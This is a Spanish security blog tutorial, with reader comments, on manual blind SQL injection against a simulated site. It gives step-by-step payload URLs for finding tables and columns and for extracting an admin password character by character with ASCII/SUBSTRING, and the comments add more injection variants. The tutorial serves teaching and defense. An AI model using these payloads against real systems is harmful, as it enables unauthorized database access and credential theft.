DISCLAIMER: En este post verás que se usa la web de Security By Default como ejemplo de web vulnerable a un ataque Blind SQL Injection. No es que sea realmente vulnerable, sino es una simulación para mostrar el comportamiento. Por motivos legales, he evitado utilizar una web pública, vulnerable a Blind SQL Injection.
Este tipo de vulnerabilidad, es muy poco explotada manualmente, desde que apareció Sqlmap, pero igualmente en este post os quiero enseñar cómo llevarla a cabo. OJO que este tutorial es de inyección SQL a ciegas básico, hay otras técnicas mas avanzadas.
Primero debemos buscar nuestra url vulnerable… ¿Cómo hacemos esto?
RECONOCIMIENTO.
entramos a la web y vemos algo asi :
Ok perfecto ahora a detectar…
Suele ser:
http://www.securitybydefault. com/noticias/noticias.php?id= 1337 AND 1=1- VERDADERO
La primera sentencia es verdadera debido a que 1=1, y la segunda sentencia 1=0 es falsa. Probaremos la primera sentencia y nos sale lo siguiente:
Y ahora probaremos el falso:
Esto quiere decir que hemos encontrado una web vulnerable a Blind Sql Injection. En resumen, este tipo de explotación lo único que ves es si el resultado es correcto o es falso.
Hago un select a la tabla sbd. Si me da cara de verdadero es que existe la tabla, si me da cara de falso el resultado es falso. Igual pasa al sacar el contenido. S es esto entonces es verdadero, si no, es falso. Lo primero que vamos a buscar en las Blind SQL Injection es nombres de tablas ¿cómo? predicting. Después les enseñaré a hacer matching para sacar de otras formas…
Hago un select a la tabla sbd. Si me da cara de verdadero es que existe la tabla, si me da cara de falso el resultado es falso. Igual pasa al sacar el contenido. S es esto entonces es verdadero, si no, es falso. Lo primero que vamos a buscar en las Blind SQL Injection es nombres de tablas ¿cómo? predicting. Después les enseñaré a hacer matching para sacar de otras formas…
Las inyecciones para sacar nombre de tablas se hacen de la siguiente forma:
http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(*)) FROM tabla)#
¿Qué es esto? Bueno, lo que estamos haciendo es hacerle un select count pero ¿por qué no solo un select? ¿porque de qué nos sirve una tabla que no tenga registros? Busquemos tablas con nombres populares
http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(*)) FROM usuarios)
Nada.. probemos otras
http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(*)) FROM nombres)
Nada.. seguimos insisitiendo. Recuerden que es SQL Injection a mano.
http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(*)) FROM users)
Eureka! Ya tenemos una tabla, que se llama users. Ahora vamos a comenzar a ver qué hay dentro de esta tabla… probando columnas.
http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(name)) FROM users)#
Nada.. intentemos con otra columna.
http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(name_user)) FROM users)#
Así hasta que demos con la correcta.
Probando http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(name_usr)) FROM users)#
...ya tenemos el nombre de nuestra tabla de nombres si seguimos buscando así, llegaríamos a la de passwords y otros datos…
Ahora lo que debemos hacer, como estamos viendo que es el ejemplo de un blog, es buscar si hay un link para el perfil o los posts del administrador… Al parecer lo hay en http://securitybydefault. com/blind/users/user.php?id=1 su nombre Xander
Por deducción saqué que el campo de id sería id_usr…
http://www.securitybydefault. com/blind/sqli.php?id=1337 AND (SELECT LENGTH(name_usr) FROM users where id_usr=1)#
Al ver el id de xander es el 1, por lógica el id_usr 1 debe ser el de xander veamos cuantos caracteres tiene su nombre… pero por lógica xander = 6 asi que con el 6 me debe salir true…
Bien ya tenemos y hemos confirmado que su usuario para loguearse es xander… ahora la pregunta del millón ¿y para sacar el password? primero veamos si está hasheada en md5. En el caso de MD5 de 128 bits se representa típicamente como una cadena de 32 caracteres.
http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT LENGTH (pass_usr) FROM users where id_usr=1) = 32#
Por lo que vemos, no esta en MD5. Vamos a probar si es mas pequeña que 10 caracteres el password…
http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT LENGTH (pass_usr) FROM users where id_usr=1) < 10#
El admin xander tiene un contraseña corta será menor que 5?
http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT LENGTH(pass_usr) FROM users where id_usr=1) < 5 #
es mayor o igual que 5, probaremos con 5?
http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT LENGHT(pass_usr) FROM users where id_usr=1) = 5 #
5 caracteres de password ahora como sacar la password? podriamos preguntarle si la password es 12345 pero sería como estar haciendo brute force. Vamos a sacar caracter por caracter con la funcion substring de mysql y ascii…
Vamos a necesitar una tabla ASCII. La lógica es: ascii(substring((consulta), caracter,hastadondellegar))
El código ASCII del carácter 0 es igual a 48. Verifiquemos si el primer caracter es 0
http://www.securitybydefault.com/blind/sqli.php?id=1337 AND ASCII(SUBSTRING((SELECT pass_usr FROM users where id_usr=1),1,1))=48#
Como el resultado es falso, probaríamos sucesivamente con el valor 49
http://www.securitybydefault.com/blind/sqli.php?id=1337 AND ASCII(SUBSTRING((SELECT pass_usr FROM users where id_usr=1),1,1))=49#
y como vemos, es verdadero. Ya tenemos el primer caracter, seguimos con la segunda posición… veamos si es 2 ascii de 2: 50
http://www.securitybydefault.com/blind/sqli.php?id=1337 AND ASCII(SUBSTRING((SELECT pass_usr FROM users where id_usr=1),2,1))=50#
El segundo carácter 2 ... a ver creo que ya entendieron que el punto es que su contraseña es 12345. ¿Cómo sacamos el 5 en el último carácter?
http://www.securitybydefault.com/blind/sqli.php?id=1337 AND ASCII(SUBSTRING((SELECT pass_usr FROM users where id_usr=1),5,1))=53#
Tenemos una buena idea de cual puede ser su contraseña, busquemos el panel, aunque creo que este debió ser el primer paso... si no, te has pegado un rato inyectando para nada. Suponiendo que el panel de control es: http://www.securitybydefault.com/blind/p4n3l, nos podríamos loggear con user: xander pass: 12345
Igual pudimos haber seguido hasta sacar todos los caracteres del password pero era bastante predecible :)
Artículo por cortesía de @Seguridadblanca
18 comments :
y mañana nos enseñaran a usar una webchell
Good work!! La de usuarios y contraseñas que se pueden sacar con esta técnica hoy en día es aberrante :)))
Como dato adicional, a la hora de intentar averiguar el nombre de la tabla, si la bbdd es mysql hay una funcion genial llamada "exists" (creo que queda claro para que sirve, no? :D ), asi que si le metes un "id=1 and (exists (select * from nombre_tabla)" tambien funcionaría en webs php.
Además para ir mas rápido podemos jugar con el usuario que esta ejecutando el mysql en el server con la funcion user() o current_user() tal que asi: "id= 1 and 150>ASCII(substring(user(),1,1))" asi sacamos rapidamente un nombre de usuario, la longitud la sacamos con "length(user())" la version de la bbdd con "id= 1 and 150>ASCII(substring(version(),1,1))",etc,etc,etc... es una gozada esto de las funciones de las bbdds, ahorra un monton de curro!! :D
Buena entrada, aunque un poco lío :)
Un apunte: con una búsqueda dicotómica al final nos ahorraremos muchas comparaciones, sobre todo si la contraseña está compuesta de caracteres alfanuméricos.
Un saludo.
Si ves que puedes hacer algo más interesante o llamativo, prueba a enviar una contribución :)
Esa es la razon por la que no tenemos un blog... para presentar estas cosas... mejor me voy de cañas!
Perfecto! Pídeme a mí una de bravas también, que ahora voy. Repito, si tienes ninguna colaboración que merezca la pena, envíanosla...
Siendo el gurú que eres, tendrás ideas para escribir a mansalva, ¿no? Es más, pon tu nick/correo de verdad y así te podemos tutear ¿o prefieres ser un gallina anónimo? :)
Pasado nos postean un video de youtube sobre como usar e instalar netbus.
Ésto es válido para aquellos que estén aprendiendo a construir sus propios foros y cosas similares y que no caigan en los fallos tontos típicos de hace 15 años.
Pero esperar que a día de hoy, en 2014, una web "aceptable" con unos foros medianamente robustos, no parsee las variables antes de montar la query contra la BD, es como esperar a que el server tire con IIS de Windows 2000. (ojo, que los hay,. pero afortunadamente cada vez hay menos)
Entiendo que a ti te resulte interesante el post
Muchas felicidades por la publicación del articulo. Personalmente me parece muy limpio, muy trabajado y excepcionalmente explicado. Siento que otras personas no sean capaces de valorar el esfuerzo, pero ya sabemos que los tontos se levantan todos los días.
Mira a ver si te viene bien la 1.7. https://www.youtube.com/watch?v=plDusPz0Fd4
Grasias por el aporte
Poco has auditado tu, me temo. Siguen existiendo incluso en compañías punteras.
Gracias por el articulo, me dio ideas para hacer harderning de mysql.
Muy buen post amigos, muchas gracias espero con ancias otro aporte igual de bueno.
Saludos.
http://thehackernews.com/2013/04/yahoo-blind-sql-injection-could-lead-to.html para tu conocimiento, hasta los más grandes tienen esta vulnerabilidad y definitivamente no has auditado lo suficiente si no has encontrado blind sql injections bro, con el tiempo seguro encontrarás mas... hay tools que lo sacan rápido pero siempre es bueno saber que hace la tool por detrás.
Algo de hace más de... ¿10 años? Bueno, está un poco pasado. ¿Cómo es que aun pasa? Es que no todo el mundo nace enseñado y hay malos profesionales en todos los sitios. ¿Qué aun pasa incluso en compañías punteras? Me remito a la ignorancia y malos profesionales y también al amarillismo. A veces una web que se come una comilla pero... no es importante en todos los servdores. A veces puedes leer la BD pero no puedes hacer nada: ni acceso a otras BD, FS ni escritura en BD ni nada. Se come la comilla un servidor aislado al que no le puedes hacer nada y algunos parece que se creen que pueden entrar en los controles de lanzamiento de misíles nucleares de USA-RUSIA-CHINA juntos.
Así que bueno, artículos como este pues poco aportan porque con toda la información que hay el que no se quiere enterar no se entera, y si no lo sabías ¿qué has estado haciendo estos últimos 10 años? ¿Otra vez el madrid campeón de europa?
Muy buen artículo !
Publicar un comentario